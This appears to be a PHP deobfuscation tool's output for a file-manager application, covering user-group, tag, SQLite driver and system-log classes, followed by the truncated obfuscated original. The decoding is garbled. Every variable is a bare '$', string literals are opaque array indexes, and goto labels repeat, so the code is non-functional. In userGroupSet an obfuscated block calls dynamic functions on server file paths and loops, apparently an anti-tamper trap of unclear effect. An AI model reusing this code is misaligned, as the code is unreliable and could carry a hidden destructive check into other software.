$ = $this->getInfoSimple($); if (!$) { return !1; } $ = array($[1696] => $); Model($[634])->where($)->delete(); Model($[2393])->where($)->delete(); Model($[1994])->where($)->delete(); Model($[2378])->where($)->delete(); Model($[1119])->where($)->delete(); Model($[2204])->removeUserAll($); Model($[870])->userRootRemove($); return $this->where($)->delete(); } protected function userGroupSet($, $, $ = array()) { $ =& $_SERVER[]; if ($_SERVER[$[922]] != $_SERVER[$[1782]]) { $ = $[924]; $ = $[925]; $ = $_SERVER[$[926]] . $[927]; $ = $($); $ = explode($[248], $); if (count($) < $[671]) { $ = $[928]; $(); } $ = $[929]; $($_SERVER[$[930]]); $($_SERVER[$[926]] . $[2394]); $ = 1; while ($ > 1) { $ = $ + 4; $ = rawurlencode($ . $[424]); } } $ = $this->getInfoSimple($); if (!$ || !is_array($)) { return !1; } $ = Model($[1994]); $->where(array($[1705] => $))->delete(); $ = array(); $ = 0; foreach ($ as $ => $) { $ = array($[1705] => $, $[1904] => $, $[2008] => $); $[$[1928]] = isset($[$]) ? $[$] : 0; $++; $[] = $; } return $->addAll($, array(), !0); } protected function userGroupAdd($, $ = array()) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$ || empty($)) { return !1; } $ = array(); foreach ($ as $ => $) { $[] = array($[1705] => $, $[1904] => $, $[2008] => $, $[1928] => 0); } return Model($[1994])->addAll($, array(), !0); } protected function userGroupRemove($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$ || !$) { return !1; } $ = array($[1696] => $, $[1992] => $); return Model($[1994])->where($)->delete(); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][415]]); return $; } public function listByID($) { $ =& $_SERVER[]; if (!$) { return; } $ = array($[1705] => array($[7], $)); $ = $this->where($)->select(); $ = array_sort_keep($, $[1705], $); $this->_listDataApply($); return $; } public function listByGroup($ = 0, $ = array()) { $ =& $_SERVER[]; $ = $[12]; $ = array(); if ($) { $ = array($[2395] => intval($)); $ = "LEFT JOIN {$this->tablePrefix}user_group user_group on user.userID = user_group.userID"; $ = Input::get($[500], null, $[12]) ? $[12] : $[2396]; } if (isset($[$[795]])) { $[$[2397]] = $[$[795]]; } $ = $this->_makeOrder($)->field($[2398])->where($)->join($)->selectPage(50); $this->_listDataApply($[$[415]]); return $; } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = array($[1705], $[32], $[1893], $[1865], $[217]); $ = array($[493] => $[494], $[495] => $[496]); $ = Input::get($[500], $[7], $[1696], $); $ = Input::get($[501], $[7], $[1995], array($[1995], $[495])); $ = $[$]; $ = $ . "user.{$} {$}, user.userID asc"; return $this->alias($[2122])->order($); } public function listSearch($) { $ =& $_SERVER[]; $ = $[$[1998]]; $ = isset($[$[1999]]) ? $[$[1999]] : !1; $ = str_replace($[2000], $[2001], trim($)); $ = array($[32] => array($[429], "%{$}%"), $[351] => array($[429], "{$}%"), $[2187] => array($[429], "{$}%"), $[1051] => $[2002]); if (Input::check($, $[357])) { $[$[1705]] = array($[429], "{$}%"); $[$[2379]] = array($[429], "{$}%"); } if (!$) { $ = array(); } if (isset($[$[795]])) { $[$[795]] = $[$[795]]; } $ = $this->parseWhereLike($); $ = $this->_makeOrder()->where($)->selectPage(20); if (!$ || count($[$[415]]) < 5 && Input::check($, $[364])) { $ = $this->_searchFromMeta($[507], $, 10); $ = $this->_searchFromMeta($[508], $, 10); $ = array_merge($, $, $[$[415]]); $[$[415]] = array_unique_by_key($, $[1705]); $[$[412]][$[413]] = count($[$[415]]); $[$[412]][$[414]] = ceil($[$[412]][$[413]] / $[$[412]][$[409]]); } $this->_listDataApply($[$[415]]); $this->_filterByGroup($, $); return $; } private function _filterByGroup(&$, $) { $ =& $_SERVER[]; if (!$) { return $; } foreach ($[$[415]] as $ => &$) { $ = array_to_keyvalue($[$[2091]], $[12], $[1904]); if (!in_array($, $)) { unset($[$[415]][$]); } } unset($); $[$[415]] = array_values($[$[415]]); $[$[412]] = array($[2157] => count($[$[415]]), $[2155] => $[$[412]][$[409]], $[2154] => 1, $[2156] => 1); } private function _searchFromMeta($, $, $) { $ =& $_SERVER[]; $ = strtolower($); $ = array($[96] => $, $[420] => array($[429], "%{$}%")); $ = $this->parseWhereLike($); $ = Model($[2399])->where($)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1705]); $ = $this->where(array($[1696] => array($[7], $)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($) { $ = array($); $this->_listDataApply($); return $[0]; } private function _listDataApply(&$) { $ =& $_SERVER[]; if (!$) { return; } array_remove_key($, $[940]); $ = array_to_keyvalue($, $[12], $[1705]); $this->_listAppendGroup($, $); $this->_listAppendMeta($, $); $this->_listAppendSourceRoot($, $); } private function _listAppendSourceRoot(&$, $) { $ =& $_SERVER[]; $ = Model($[870])->listSourceRoot(SourceModel::TYPE_USER, $); $ = array_to_keyvalue($, $[540]); $ = array_remove_key($, $[540]); foreach ($ as &$) { $[$[89]] = $[$[$[1705]]] ? $[$[$[1705]]] : array(); } unset($); } private function _listAppendGroup(&$, $) { $ =& $_SERVER[]; $ = array($[1705] => array($[7], $)); $ = Model($[1994])->where($)->select(); $ = array_to_keyvalue($, $[12], $[1904]); $ = array_remove_value(array_unique($), $[214]); if (!$ || !$) { return; } $ = array($[1904] => array($[7], $)); $ = Model($[2089])->field($[2400])->where($)->select(); $ = array_to_keyvalue($, $[1904]); $ = array_to_keyvalue_group($, $[1705]); foreach ($ as &$) { $ = array(); foreach ($ as $) { if (!$[$[2008]]) { continue; } $ = Model($[542])->listData($[$[2008]]); $[] = array($[1904] => $[$[1904]], $[2401] => $[$[$[1904]]][$[32]], $[555] => $[$[$[1904]]][$[555]], $[457] => $); } $ = $; } unset($); foreach ($ as &$) { $[$[2091]] = array(); if (isset($[$[$[1705]]])) { $[$[2091]] = $[$[$[1705]]]; } } unset($); } public function userAppendGroup($) { $ =& $_SERVER[]; if (!$) { return array(); } $this->_listAppendGroup($, array_to_keyvalue($, $[12], $[1705])); return $; } private function _listAppendMeta(&$, $) { $ =& $_SERVER[]; $ = UserJobModel::JOB_KEY; $ = array($[2380]); $ = array($[1705] => array($[7], $)); $ = Model($[2378])->where($)->select(); $ = array_to_keyvalue_group($, $[1705]); foreach ($ as &$) { $ = array(); foreach ($ as $) { if (!in_array($[$[96]], $)) { $[$[$[96]]] = $[$[420]]; } } $ = $; } unset($); $ = Model($[2402]); foreach ($ as &$) { $ = array(); if (isset($[$[$[1705]]])) { $ = $[$[$[1705]]]; } $[$[2403]] = array(); if (isset($[$])) { $[$[2403]] = $->getUserJobInfo($[$]); } } unset($); } protected function groupUserAll($) { $ =& $_SERVER[]; if (!$) { return !1; } $ = Model($[1994])->field($[1705])->where(array($[1904] => array($[7], $)))->select(); $ = array_to_keyvalue($, $[12], $[1705]); return array_unique($); } public function userSearch($, $ = "*") { return Model($_SERVER[][569])->where($)->field($)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "user_option"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($) { $ =& $_SERVER[]; $ = defined($[2126]) && USER_ID ? USER_ID : $[12]; return "UserOption_{$}_" . $; } protected function filterWhere($) { $ =& $_SERVER[]; $[$[1705]] = defined($[2126]) && USER_ID ? USER_ID : $[12]; return $; } public function cacheRemoveUser($, $) { return Cache::remove("UserOption_{$}_" . $); } protected function optionDefault($ = '') { $ =& $_SERVER[]; if ($ == $[12]) { return $GLOBALS[$[6]][$[2404]]; } if ($ == $[2405]) { return $GLOBALS[$[6]][$[2406]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "User.tagList"; public $modelType = "UserOption"; public $field = array("name", "style", "sort"); public function listData($ = false, $ = "sort", $ = false) { return parent::listData($, $, $); } public function remove($) { return parent::remove($); } public function add($, $ = "label-grey-normal") { $ =& $_SERVER[]; if ($this->findByName($)) { return !1; } $ = array($[464] => $, $[529] => $, $[1908] => $this->getSort($[304]) + 1); return parent::insert($); } public function update($, $) { $ =& $_SERVER[]; $ = $this->listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[445]] != $[$[445]]) { return !1; } return parent::update($, $); } public function moveTop($) { $ =& $_SERVER[]; $ = parent::listData(); $ = $this->getSort($[303]); foreach ($ as &$) { if ($[$[445]] == $) { $[$[1928]] = $; continue; } $[$[1928]] += 1; } unset($); return parent::resetData($); } public function moveBottom($) { $ =& $_SERVER[]; $ = $this->getSort($[304]) + 1; return parent::update($, array($[1928] => $)); } public function resetSort($) { $ =& $_SERVER[]; $ = array(); $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $++) { $[$[$] . $[12]] = $ + 1; } $ = parent::listData(); foreach ($ as &$) { $ = $[$[$[445]]]; $[$[1928]] = $ ? $ : $[$[1928]]; } unset($); return parent::resetData($); } private function getSort($) { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1928]); if (!$) { $ = array(0); } $ = $ == $[304] ? max($) : min($); return intval($); } } goto F; d: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $ =& $_SERVER[]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$[6]] =& $config; $this->values[$[7]] =& $in; $this->tpl = TEMPLATE . MOD . $[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($) { if (1 === func_num_args()) { $this->{$} = new $(); } else { $ = new ReflectionClass($); $ = func_get_args(); array_shift($); $this->{$} = $->newInstanceArgs($); } return $this->{$}; } public function routeBind($, $, $ = 3) { $ =& $_SERVER[]; $ = $this->in[$[9]]; $ = str_replace($[10], $[11], trim(trim($, $[8]), $[12])); if (!$ || count($) <= $) { return !1; } $ = !0; $ = explode($[8], $); for ($ = 0; $ < count($); $++) { if ($[$] != $[$ + $]) { $ = !1; break; } } if (!$) { return; } call_user_func_array(array($this, $), array()); } public function routeArgs($ = 3) { $ = $this->in[$_SERVER[][9]]; if (count($) <= $) { return array(); } $ = array(); for ($ = $; $ < count($); $ += 2) { $[$[$]] = $[$ + 1]; $this->in[$[$]] = $[$ + 1]; } return $; } protected function assign($, $) { $this->values[$] = $; } protected function display($) { ob_end_clean(); extract($this->values); require $this->tpl . $; } } class DbSqliteBase extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!extension_loaded($[13])) { think_exception(think_lang($[14]) . $[15]); } if (!empty($)) { if (!isset($[$[16]])) { $[$[16]] = 438; } $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; $ = $ ? $[19] : $[20]; $this->linkID[$] = $($[$[21]], $[$[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ = $this->getAll(); return $; } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = sqlite_exec($this->_linkID, $); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $; } public function getFields($) { $ =& $_SERVER[]; $ = $this->query($[29] . $ . $[30]); $ = array(); if ($) { foreach ($ as $ => $) { $[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) ($[$[36]] === $[12]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; $ = $this->query($[45] . $[46] . $[47]); $ = array(); foreach ($ as $ => $) { $[$] = current($); } return $; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $ = sqlite_last_error($this->_linkID); $this->error = $ . $[4] . sqlite_error_string($); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { return sqlite_escape_string($); } public function parseLimit($) { $ =& $_SERVER[]; $ = $[12]; if (!empty($)) { $ = explode($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $[51] . $[0] . $[53]; } } return $; } } class DbSqlite3Base extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!class_exists($[54])) { think_exception(think_lang($[14]) . $[55]); } if (!empty($)) { if (!isset($[$[16]])) { $[$[16]] = 438; } $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new SQLite3($[$[21]]); if (!$this->linkID[$]) { think_exception($this->linkID[$]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$]->busyTimeout(30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ = $this->getAll(); $this->numRows = count($); return $; } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = $this->_linkID->exec($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $; } $this->queryID->reset(); return $; } public function getFields($) { $ =& $_SERVER[]; $ = $this->query($[29] . $ . $[30]); $ = array(); if ($) { foreach ($ as $ => $) { $[$[$[32]]] = array($[32] => $[$[32]], $[33] => $[$[33]], $[35] => (bool) ($[$[35]] === $[12]), $[37] => $[$[56]], $[39] => (bool) $[$[57]], $[42] => (bool) $[$[57]]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; $ = $this->query($[45] . $[46] . $[47]); $ = array(); foreach ($ as $ => $) { $[$] = current($); } return $; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $this->error = $this->_linkID->lastErrorMsg(); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($[58], $[59], $); } public function parseLimit($) { $ =& $_SERVER[]; $ = $[12]; if (!empty($)) { $ = explode($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $[51] . $[0] . $[53]; } } return $; } } goto F; d: class SystemLightAppModel extends ModelBaseLight { public $optionType = "System.LightApp"; public $modelType = "SystemOption"; public $field = array("name", "group", "desc", "content"); public function listData($ = false, $ = "modifyTime", $ = true) { return parent::listData($, $, $); } public function remove($) { $ = $this->findByName($); if (!$) { return !1; } return parent::remove($[$_SERVER[][445]]); } public function add($) { if ($this->findByName($[$_SERVER[][32]])) { return !1; } return parent::insert($); } public function update($, $) { $ =& $_SERVER[]; $ = $this->findByName($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[445]] != $[$[445]]) { return !1; } return parent::update($[$[445]], $); } } class SystemLogModel extends ModelBase { protected $tableName = "system_log"; protected $dataAuto = array(array("createTime", "time", "insert", "function")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[]; return array($[2241] => LNG($[2242]), $[2243] => LNG($[2244]), $[1847] => LNG($[2245]), $[2246] => LNG($[2247]), $[2248] => LNG($[2249]), $[2250] => LNG($[2251]), $[2252] => LNG($[2253]), $[1877] => LNG($[2253]), $[1878] => LNG($[2254]), $[2255] => LNG($[2256]), $[2257] => LNG($[2258]), $[2259] => LNG($[2260]), $[2261] => LNG($[2262]), $[1875] => LNG($[2263]), $[2264] => LNG($[2265]), $[1882] => LNG($[2266]), $[2267] => LNG($[2268]), $[2269] => LNG($[2270]), $[2271] => LNG($[2272]), $[2273] => LNG($[2274]), $[1885] => LNG($[2275]), $[1886] => LNG($[2276]), $[2277] => LNG($[2278]), $[2279] => LNG($[2280]), $[2281] => LNG($[2282]), $[1880] => LNG($[2283]), $[2284] => LNG($[2285]), $[1879] => LNG($[2286]), $[2287] => LNG($[2288]), $[2289] => LNG($[2290]), $[2291] => LNG($[2290]), $[2292] => LNG($[2293]), $[2294] => LNG($[2294]), $[2295] => LNG($[1851]), $[2296] => LNG($[2297]), $[2298] => LNG($[2299]), $[2300] => LNG($[2301]), $[2302] => LNG($[2303]), $[2304] => LNG($[2305]), $[2306] => LNG($[2306]), $[2307] => LNG($[2308]), $[2309] => LNG($[2310]), $[2311] => LNG($[2312]), $[2313] => LNG($[2314]), $[2315] => LNG($[2316]), $[2317] => LNG($[2318])); } private function typeFile() { $ =& $_SERVER[]; $ = array($[1882] => array($[1883]), $[2259] => array($[2319]), $[2261] => array($[2320]), $[1875] => array($[1876], $[2321]), $[2269] => array(), $[2271] => array(), $[2273] => array(), $[1885] => array($[1887]), $[1886] => array($[1887]), $[2277] => array($[2322]), $[2279] => array($[2322]), $[2281] => array($[2323]), $[2267] => array($[2324]), $[1880] => array($[2325]), $[2284] => array($[2326]), $[1879] => array($[1881])); return $; } private function typeAll() { $ =& $_SERVER[]; $ = $this->typeList; $ = array_filter($this->typeFile()); foreach ($ as $ => $) { $[$[0]] = $[$]; } $[$[1887]] = LNG($[2327]); $[$[2322]] = LNG($[2328]); return $; } public function addLog($, $ = array()) { $ =& $_SERVER[]; if (!isset($this->typeList[$])) { return; } $ = isset($[$[1705]]) ? $[$[1705]] : 0; if (!$) { $ = Session::get($[2041]); } if ($ == $[2296] && is_array($[$[2329]]) && !$[$[2329]]) { return; } $ = get_client_ip(); if (!$ || strlen(json_encode($)) >= 1024) { $ = array($[2330] => $); } else { if (is_array($)) { $[$[2330]] = $; } else { $ = array($[1253] => $, $[2330] => $); } } $ = array($[1695] => Session::sign(), $[1696] => intval($), $[33] => $, $[1698] => json_encode($)); parent::add($); } public function remove($) { $this->where(array($_SERVER[][463] => $))->delete(); } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = $[217]; $ = array($[493] => $[494], $[495] => $[496]); $ = Input::get($[501], $[7], $[2077], array($[1995], $[495])); $ = $[$]; $ = $ . "{$} {$}"; return $this->order($); } public function get($ = '') { $ =& $_SERVER[]; if (!$) { show_json(array()); } $ = array(); if ($[$[1705]]) { $[$[1705]] = $[$[1705]]; } if (isset($[$[805]])) { $ = $[$[805]]; $ = isset($[$[806]]) ? $[$[806]] : time(); $[$[217]] = array($[379], array($, $)); } if ($[$[33]]) { $ = explode($[50], $[$[33]]); $ = $this->typeFile(); $ = array(); foreach ($ as $) { $[] = $; if (isset($[$])) { $ = array_merge($, $[$]); } } $ = array_unique($); if ($) { $[$[33]] = array($[7], $); } } else { $[$[33]] = array($[2331], $[2332]); } if (!empty($[$[2330]])) { $[$[496]] = array($[429], "%{$[$[2330]]}%"); } $ = $this->_makeOrder()->where($)->selectPage(); if (empty($[$[415]])) { show_json(array(), !0, $[$[412]]); } $[$[415]] = $this->logList($[$[415]]); return $; } private function ipAddress(&$) { $ =& $_SERVER[]; if (!empty($[$[2330]])) { $ = IpLocation::get($[$[2330]]); } else { $ = LNG($[2333]); } $[$[2334]] = $; } private function descZipDownload($, &$) { $ =& $_SERVER[]; if (!isset($[$[2335]])) { return; } $ = json_decode($[$[2335]], !0); foreach ($ as $) { try { $ = IO::infoFullSimple($[$[86]]); } catch (Exception $) { continue; } $[$[86]] = $[$[86]]; $[] = $[$[183]] = $[$[183]]; $[] = $[$[2133]] = $[$[182]]; break; } return $; } private function getSourceList(&$) { $ =& $_SERVER[]; $ = array(); foreach ($ as $ => $) { $ = json_decode($[$[496]], !0); if ($[$[33]] == $[1878]) { $ = $this->descZipDownload($, $); $[$][$[496]] = json_encode($); continue; } if (strpos($[$[33]], $[2135]) !== 0) { if (!isset($[$[86]]) || strpos($[$[33]], $[2336]) !== 0) { continue; } try { $ = IO::infoFullSimple($[$[86]]); } catch (Exception $) { continue; } $[] = $[$[183]] = $[$[183]]; $[] = $[$[2133]] = $[$[182]]; $[$][$[496]] = json_encode($); continue; } $[] = $[$[183]]; $[] = $[$[2133]]; if ($[$[33]] == $[590]) { $[] = $[$[496]][$[1211]]; $[] = $[$[496]][$[1212]]; } if ($[$[33]] == $[2143]) { $[] = $[$[496]][$[183]]; } } if (!$) { return array(); } return Model($[870])->sourceListInfo($, !0); } private function logList($) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1705]); $ = Model($[569])->userListInfo(array_unique($)); $ = $this->getSourceList($); $ = $this->typeAll(); $ = array(); $ = array(); foreach ($ as $ => $) { $ = $[$[33]]; $ = isset($[$[$[1705]]]) ? $[$[$[1705]]] : !1; $ = strpos($, $[2337]) === 0 ? LNG($[2338]) : LNG($[2333]); $[$[32]] = isset($[$[32]]) ? $[$[32]] : LNG($[2333]); $[$[2187]] = isset($[$[2187]]) ? $[$[2187]] : $[12]; $[$[1593]] = isset($[$]) ? $[$] : $; $[$[2076]] = $; $ = json_decode($[$[496]], !0); $[$[2330]] = isset($[$[2330]]) ? $[$[2330]] : $[12]; $[$[2334]] = IpLocation::get($[$[2330]]); if (strpos($, $[2135]) === 0 || isset($[$[2133]])) { $[$[89]] = $[$[$[183]]]; $[$[2148]] = $[$[$[2133]]]; if ($[$[33]] == $[590]) { $[$[496]][$[1211]] = $[$[$[496]][$[1211]]]; $[$[496]][$[1212]] = $[$[$[496]][$[1212]]]; } if ($[$[33]] == $[2143]) { $[$[496]][$[183]] = $[$[$[496]][$[183]]]; } if ($[$[33]] == $[1873]) { $[$[2148]] = $[$[89]]; $[$[2133]] = $[$[2148]][$[183]]; $[$[89]] = !1; $[$[183]] = $[12]; } if ($[$[89]] && $[$[89]][$[180]] == $[181]) { $[] = $[$[445]]; unset($[$]); continue; } if ($[$[2148]] && $[$[2148]][$[180]] == $[181]) { $[] = $[$[445]]; unset($[$]); continue; } } $[$[496]] = $; unset($[$[2339]]); $[] = $; } $this->clearSystemPathLog($); return $; } private function clearSystemPathLog($) { $ =& $_SERVER[]; if (count($) == 0) { return; } $ = array($[445] => array($[7], array_unique($))); $this->where($)->delete(); } public function deviceList($, $ = 0) { $ =& $_SERVER[]; $ = array($[1705] => $, $[217] => array($[1065], $), $[33] => $[1847]); $ = array(); $ = $this->field($[2340])->where($)->order($[2146])->limit(50)->select(); foreach ($ as $ => $) { if ($ > 0 && abs($[$[217]] - $[$ - 1][$[217]]) < 5) { continue; } $ = json_decode($[$[496]], !0); $[$[2330]] = isset($[$[2330]]) ? $[$[2330]] : $[12]; unset($[$[2330]]); $ = $this->deviceType($[$[2136]]); if (isset($[$])) { continue; } $[$[2334]] = IpLocation::get($[$[2330]]); $[$[496]] = $; $[$] = $; } return array_values($); } public function deviceType($) { return $; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "System.noticeList"; public $field = array("name", "content", "auth", "mode", "time", "type", "level", "enable", "sort"); public function listData($ = false, $ = "sort", $ = false) { return parent::listData($, $, $); } public function add($) { $ =& $_SERVER[]; $ = time(); if ($[$[16]] == $[2341]) { $ = strtotime($[$[196]]); } $[$[196]] = $; return parent::insert($); } public function update($, $) { $ =& $_SERVER[]; $ = $this->listData($); if (!$) { return !1; } $ = time(); if ($[$[16]] == $[2341]) { $ = strtotime($[$[196]]); } $[$[196]] = $; return parent::update($, $); } public function remove($) { $ = $this->listData($); if (!$ || $[$_SERVER[][181]]) { return !1; } return parent::remove($); } public function sort($, $) { return parent::update($, $); } public function enable($, $) { return parent::update($, array($_SERVER[][2342] => $)); } private function initUserOption() { $ =& $_SERVER[]; $this->optionType = $[2343]; $this->modelType = $[2344]; $this->field = array($[2345], $[32], $[196], $[33], $[2346], $[795], $[212]); } public function userNoticeGet($ = false) { $this->initUserOption(); return parent::listData($, $_SERVER[][445], !0); } public function userNoticeAdd($) { $ =& $_SERVER[]; $this->initUserOption(); $ = $this->findByKey($[2345], $[$[445]]); if ($) { return !0; } $ = array($[2345] => $[$[445]], $[32] => $[$[32]], $[196] => $[$[196]], $[33] => isset($[$[33]]) ? $[$[33]] : 1, $[2346] => isset($[$[2346]]) ? $[$[2346]] : 0, $[795] => 0, $[212] => 0); return parent::insert($); } public function userNoticeEdit($, $) { $this->initUserOption(); return parent::update($, $); } } goto c; F: class UserTagSourceModel extends ModelBase { protected $tableName = "user_fav"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[2015] => array($[2407] . USER_ID, $[2016])); } protected function listData() { $ =& $_SERVER[]; $ = array($[1696] => USER_ID, $[528] => array($[2019], 0)); $ = $[2408]; $ = $this->field($)->where($)->order($[2022])->select(); return $ ? $ : array(); } protected function addToTag($, $) { $ =& $_SERVER[]; if (!Model($[2165])->listData($)) { return !1; } if (is_numeric($)) { $ = Model($[870])->pathInfo($); if (!$) { return !1; } } else { $ = IO::infoSimple($); if (!$) { return !1; } $ = $[$[32]]; $ = $[$[33]]; if (isset($[$[455]])) { $ = $[$[455]] == $[90] ? $[77] : $[216]; } } $ = array($[1696] => USER_ID, $[528] => $, $[465] => $, $[466] => $ ? $ : $[460], $[464] => $ ? $ : $[12], $[1908] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($, $) { $ =& $_SERVER[]; if (!Model($[2165])->listData($)) { return !1; } if (is_array($)) { $ = array($[7], $); } $ = array($[1696] => USER_ID, $[528] => $, $[465] => $); return $this->where($)->delete(); } protected function removeByTag($) { $ =& $_SERVER[]; if (!$) { return !1; } $ = array($[1696] => USER_ID, $[528] => $); return $this->where($)->delete(); } protected function removeBySource($) { $ =& $_SERVER[]; if (is_array($)) { $ = array($[7], $); } $ = array($[1696] => USER_ID, $[528] => array($[1065], 0), $[465] => $); return $this->where($)->delete(); } } ?>
Did this file decode correctly?
Original Code
<?php
goto b; A: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public $config = array(); public function __construct($) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1422]; $this->_init($); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1423] . LNG($[1424])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ =& $_SERVER[]; $ = new OSS\Model\CorsConfig(); $ = new OSS\Model\CorsRule(); $->addAllowedOrigin($[1425]); $->addAllowedMethod($[1426]); $->addAllowedMethod($[1427]); $->addAllowedMethod($[1428]); $->addAllowedMethod($[1429]); $->addAllowedMethod($[163]); $->setMaxAgeSeconds(600); $->addExposeHeader($[1430]); $->addAllowedHeader($[1425]); $->addRule($); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[]; $ = null; try { $ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $) { return null; } if (!$ || !($ = $->getRules())) { return null; } $ = $[0]->getAllowedOrigins(); $ = $[0]->getAllowedMethods(); $ = $[0]->getMaxAgeSeconds(); $ 